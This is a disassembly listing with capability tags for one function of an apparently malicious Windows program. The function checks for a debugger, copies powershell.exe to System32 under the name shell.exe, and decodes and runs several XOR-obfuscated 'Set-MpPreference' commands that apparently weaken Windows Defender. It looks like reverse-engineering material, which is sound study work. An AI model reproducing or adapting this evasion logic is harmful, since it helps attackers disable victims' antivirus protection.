Function at 0x1400015f1
Capabilities:
Check if file exists
Copy file
Query environment variable

Disassembly:
push rbp
sub rsp, 0x3d0
lea rbp, [rsp + 0x80]
call sym.__main
call sym.IsDebuggerPresentCheck
test eax, eax
je 0x140001619
mov ecx, 1
call sym.exit
lea rax, str.SystemRoot
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x340], rax
lea rax, str.System32WindowsPowerShell_v1.0powershell.exe
mov qword [rbp + 0x338], rax
lea rax, str.System32_shell.exe
mov qword [rbp + 0x330], rax
mov rcx, qword [rbp + 0x340]
lea rax, [rbp + 0x210]
mov rdx, qword [rbp + 0x338]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
mov rcx, qword [rbp + 0x340]
lea rax, [rbp + 0x100]
mov rdx, qword [rbp + 0x330]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str._s_s
mov edx, 0x104
mov rcx, rax
call sym.snprintf
lea rax, [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
call rax
test eax, eax
jne 0x1400018e6
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x210]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
je 0x1400018df
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
movabs rax, 0x3006753939303d26
mov qword [rbp - 0x20], rax
movabs rdx, 0x3330270525187821
mov qword [rbp - 0x18], rdx
movabs rdx, 0x787530363b302730
mov qword [rbp - 0x10], rdx
movabs rdx, 0x3a3c262039362d10
mov qword [rbp - 8], rdx
movabs rcx, 0x7177753d2134053b
mov qword [rbp], rcx
movabs rdx, 0x21262c066f233b30
mov qword [rbp + 8], rdx
movabs rcx, 0x7730233c27113830
mov qword [rbp + 0x10], rcx
mov byte [rbp + 0x18], 0x75
mov qword [rbp + 0x20], rax
movabs rax, 0x212036302d107821
mov qword [rbp + 0x28], rax
movabs rax, 0x363c393a053b3a3c
mov qword [rbp + 0x30], rax
movabs rax, 0x2036302d1078752c
mov qword [rbp + 0x38], rax
movabs rax, 0x3c393a053b3a3c21
mov qword [rbp + 0x40], rax
movabs rax, 0x2630273b00752c36
mov qword [rbp + 0x48], rax
movabs rax, 0x75313021363c2721
mov qword [rbp + 0x50], rax
movabs rax, 0x753036273a337875
mov qword [rbp + 0x57], rax
lea rax, [rbp + 0x60]
lea rdx, str.099u
mov ecx, 0x9b
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp - 0x20]
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 0x39
mov byte [rbp - 0x44], 0x55
lea rax, [rbp + 0x20]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 0x3f
mov byte [rbp - 0x34], 0x55
lea rax, [rbp + 0x60]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 0x9b
mov byte [rbp - 0x24], 0x55
mov dword [rbp + 0x32c], 3
mov dword [rbp + 0x34c], 0
jmp 0x1400018cd
mov eax, dword [rbp + 0x34c]
cdqe
shl rax, 4
lea rax, [rax + 0x350]
add rax, rbp
sub rax, 0x394
movzx eax, byte [rax]
movzx ecx, al
mov eax, dword [rbp + 0x34c]
cdqe
shl rax, 4
lea rax, [rax + 0x350]
add rax, rbp
sub rax, 0x398
mov edx, dword [rax]
mov eax, dword [rbp + 0x34c]
cdqe
shl rax, 4
lea rax, [rax + 0x350]
add rax, rbp
sub rax, 0x3a0
mov rax, qword [rax]
mov r8d, ecx
mov rcx, rax
call sym.deobfuscate_string
mov qword [rbp + 0x320], rax
mov rax, qword [rbp + 0x320]
mov rcx, rax
call sym.execCommand
mov rax, qword [rbp + 0x320]
mov rcx, rax
call sym.free
add dword [rbp + 0x34c], 1
mov eax, dword [rbp + 0x34c]
cmp eax, dword [rbp + 0x32c]
jl 0x140001837
mov eax, 0
jmp 0x1400018eb
mov eax, 0
add rsp, 0x3d0
pop rbp
ret